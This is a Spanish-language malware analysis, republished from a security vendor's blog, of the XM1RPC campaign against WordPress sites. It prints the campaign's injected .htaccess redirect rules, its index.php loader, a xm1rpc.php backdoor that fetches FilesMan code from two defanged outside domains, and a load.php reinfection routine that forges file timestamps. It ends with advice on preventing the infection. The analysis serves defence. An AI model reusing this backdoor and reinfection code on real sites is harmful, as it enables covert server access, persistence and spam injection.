Hemos monitorado una nueva campaña dirigida específicamente a sitios web WordPress, que usa cientos de sitios web WordPress para distribuir spam de SEO. Llamamos a esta campaña XM1RPC debido a la puerta trasera común que se utiliza en todos los sitios web comprometidos.
El archivo tiene este nombre para confundir administradores de WordPress que están familiarizados con el XML-RPC. Este malware generalmente infecta todos los sitios web que comparten la misma cuenta de FTP, lo que significa que la limpieza de sólo un sitio web no ayudará, porque los hackers utilizan el sitio web comprometido para volver a infectar todos los sitios web en el servidor en minutos.
Identificando las Firmas de la Campaña
Durante nuestro análisis, podemos identificar el siguiente patrón de infección:
- Los archivos xm1rpc.php se crean en el servidor del sitio web;
- Código malicioso se inyecta en el topo de los archivos index.php y .htaccess;
- Los nombres de los archivos cargados .zip son hashed, como, por ejemplo d730d81e7e1033a51c2bddc5c68874ce.zip e 40ff8f74f40925e361f150ca6999ddeb.zip;
- Los nombres de los archivos cargados .rar también son hashed y contienen templates de las páginas de doorway;
- Los nombres de los archivos son cargados como SESS_238b3aace45e2f4d45e8d455ff9ec4e7 (con o sin la extensión .php);
- Código malicioso se puede inyectar en el archivo core /wp-includes/load.phpde WordPress.
Estos archivos se encuentran en el root de su sitio web u en otros directorios.
Nuestro Firewall Sucuri empezó a identificar peticiones xm1rpc.php en el 29 de octubre:
91.200.80.52 - - [29/Oct/2016:17:40:10 -0400] "POST /xm1rpc.php?[REMOVED] HTTP/1.1" 405 568 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" "PROXYBLOCKID:" "CACHEP:-" "POSTLOG:pass=[REMOVED]&submit=%3E%3E"
Sin embargo, antes de la aparición del archivo xm1rpc.php, comenzamos a ver las peticiones de archivos index.php infectados en el 15 de octubre y pueden haber estado allí desde que los atacantes comenzaron la campaña:
193.9.158.77 - - [15/Oct/2016:10:30:19 -0400] "POST /?[REMOVED] HTTP/1.1" 200 5223 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" "PROXYBLOCKID:" "CACHEP:-" "POSTLOG:pass=[REMOVED]&submit=%3E%3E"
Detalles de la Infección XM1RPC.php
El código inyectado en el .htaccess fuerza todas las peticiones de los referentes o rastreadores (referrers o crawlers) de motores de búsqueda para ser enviados al archivo index.php:
<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR] RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing) RewriteRule ^.*$ index.php [L] </IfModule>
Al comprobar el archivo index.php, vemos el siguiendo código añadido a su parte superior:
<?php error_reporting(0);ini_set("display_errors",0);$localpath=getenv("SCRIPT_NAME"); $absolutepath=getenv("SCRIPT_FILENAME"); $root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); include_once($root_path."/d730d81e7e1033a51c2bddc5c68874ce.zip"); ?>
Este archivo carga e incluye el contenido del archivo d730d81e7e1033a51c2bddc5c68874ce.zip (el nombre puede variar). A pesar de la extensión .zip, no es exactamente un archivo comprimido, pero contiene el siguiente código PHP:
<?php error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); __create_initial_settings(); $good_user_agents_to_filter = array( '#google#i' ); $reverse_ips_to_filter = array( '#google#i' ); $bad_user_agents_to_filter = array( '#yahoo#i', '#msn#i', '#aol#i', '#bing#i' ); $referers_to_filter = array('#google\.#i', '#yahoo\.#i', '#bing\.#i', '#msn\.#i', '#aol\.#i' ); $ip = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']: ''; $ua = isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT']: ''; $ref = isset($_SERVER['HTTP_REFERER'])? $_SERVER['HTTP_REFERER']: ''; $host = isset($_SERVER['HTTP_HOST'])? $_SERVER['HTTP_HOST']: ''; $host_hash = substr(md5($host), 0, 5); $query = isset($_SERVER['QUERY_STRING'])? $_SERVER['QUERY_STRING']: ''; $request_uri = isset($_SERVER['REQUEST_URI'])? strtok(strtok($_SERVER['REQUEST_URI'],'&'),'?'): ''; $root_path = __get_root(); …
El código es responsable de la creación de archivos como xm1rpc.php, 7f68d2eda2a56bd9a6a4af8c957ca273.rar e SESS_238b3aace45e2f4d45e8d455ff9ec4e7 y también funciona como una backdoor.
Al enviar una petición $_GET, en particular, el archivo .zip selecciona el código PHP del segundo 4bb0a250f62548654e50c3d29c4b6096.zip (el nombre del archivo es resultado del md5(‘wsa’) hash).
Como usted puede haber concluido, ese .zip no es un archivo comprimido. En este caso, el código PHP contiene una backdoor FilesMan que ayuda que el atacante mantenga el acceso al servidor.
Finalmente, el archivo xm1rpc.php actua como un backdoor parecido, con algunas nuevas variaciones:
<?php $query = isset($_SERVER['QUERY_STRING'])? $_SERVER['QUERY_STRING']: ''; if (false !== strpos($query, '[REMOVED]')) { __get_ws(); $ws_hash = md5('wsa'); $cache_dir = __get_root(); $ws_file = $cache_dir.'/'.$ws_hash.'.zip'; require($ws_file); die(''); } function __get_root() { $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME"); $root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); return $root_path; } function __get_ws() { $host = isset($_SERVER['HTTP_HOST'])? $_SERVER['HTTP_HOST']: ''; $ws_hash = md5('wsa'); $cache_dir = __get_root(); $ws_file = $cache_dir.'/'.$ws_hash.'.zip'; if (!file_exists($ws_file) || file_exists($ws_file) && (time() - filemtime($ws_file) > 60*60*24*1)) { $ws = __fetch_url(__get_rev().'&get_ws'); if (!empty($ws)) file_put_contents($ws_file, $ws); } else { $ws = file_get_contents($ws_file); } return $ws; } function __get_rev() { return 'hXXp://bokoinchina[.]com/extadult2[.]php?host='.trim(strtolower($_SERVER['HTTP_HOST']), '.').'&full_url='.urlencode('https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); return 'hXXp://nezlobudnya[.]com/generate'; } function __fetch_url($url) { $contents = false; $errs = 0; while ( !$contents && ($errs++ < 3) ) { $user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'; if (is_callable('curl_init')) { $c = curl_init($url); curl_setopt($c, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_USERAGENT,$user_agent); $contents = curl_exec($c); if (curl_getinfo($c, CURLINFO_HTTP_CODE) !== 200) $contents = false; curl_close($c); } else { $allowUrlFopen = preg_match('/1|yes|on|true/i', ini_get('allow_url_fopen')); if ($allowUrlFopen) { $options = array('http' => array('user_agent' => $user_agent)); $context = stream_context_create($options); $contents = @file_get_contents($url, false, $context); } } } return $contents; } // Silence is golden
Para acceder a la backdoor, el atacante debe proporcionar la contraseña correcta. El código FilesMan se obtiene de dominios maliciosos: bokoinchina[.]com y nezlobudnya[.]com.
Hay algunos casos que también se observa un código malicioso añadido al /wp-includes/load.php, que es un archivo core de WordPress. El código inyectado puede crear el archivo xm1rpc.php que los reinfecta a .htaccess:
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME"); $root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $xml=$root_path.'/xm1rpc.php';if(!file_exists($xml)){file_put_contents ($xml,base64_decode('PD9waHAgICAgICAgICAg ... IH0gcmV0dXJuICRjb250ZW50czsgfQovLyBTaWxlbmNlIGlzIGdvbGRlbg==')); } $htaccess_path = $root_path.'/.htaccess'; chmod(dirname($htaccess_path), 0755); chmod($htaccess_path, 0644); touch($htaccess_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($htaccess_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); $htaccess_content_original = file_get_contents($htaccess_path); $htaccess_content_original = str_replace("<IfModule mod_rewrite.c>\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing) \nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); $htaccess_content_original = str_replace("<IfModule mod_rewrite.c>RewriteEngine On\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); $htaccess_content_original = str_replace("<IfModule mod_rewrite.c>RewriteEngine on\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); $htaccess_content_original = preg_replace("/\n+/", "\n", $htaccess_content_original); if (strpos($htaccess_content_original, trim($htaccess)) === false) { $htaccess_content = $htaccess."\n".$htaccess_content_original; file_put_contents($htaccess_path, $htaccess_content); chmod($htaccess_path, 0644); touch($htaccess_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($htaccess_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); }
Hay algunas variaciones del código de seguridad que también se ha insertado en los archivos index.php.
Los archivos SESS_* (nombrados como SESS_3db854d5573b52dbfa7a21df3f78a92c) también puede contener el código FilesManou o una copia de la página principal del sitio web. Si usted tiene una extensión .php, es una puerta trasera que se puede acceder de forma similar al archivo xm1rpc.php.
Cómo Prevenir la Infección XM1RPC.php
Aquí hay algunos pasos para prevenir este tipo de ataques:
Evite el almacenamiento de muchos sitios web en la misma cuenta compartida. Esto puede llevar a la contaminación cruzada, en la cual un sitio web puede infectar a otros sitios web en el mismo servidor.
- Use un Web Application Firewall. El Firewall Sucuri puede bloquear el uso de backdoors.
- Actualice su software. Actualice su CMS (WordPress, Joomla, etc.), incluyendo todas las extensiones. Software obsoletos de sitios web causan infección y reinfección de sitios web.
- Verifique la integridad de archivos core. Backdoors y otro tipo de código malicioso puede ser insertado en los archivos core. Si está utilizando WordPress, nuestro plugin de seguridad gratuito ofrece auditoría de integridad de archivos core.
¿Su Sitio Web Ha Sido Infectado?
Si necesita borrar esta infección, podemos ayudarle. Nuestro equipo creó una guía sobre cómo limpiar los sitios web WordPress hackeados que se puede seguir si desea limpiar su sitio web.
Fuente:https://blog.sucuri.net
Entusiasta de la seguridad cibernética. Especialista en seguridad de la información, actualmente trabajando como especialista en infraestructura de riesgos e investigador.
Experiencia en procesos de riesgo y control, soporte de auditoría de seguridad, diseño y soporte de COB (continuidad del negocio), gestión de grupos de trabajo y estándares de seguridad de la información.
Envía tips de noticias a info@noticiasseguridad.com o www.instagram.com/iicsorg/.
También puedes encontrarnos en Telegram www.t.me/noticiasciberseguridad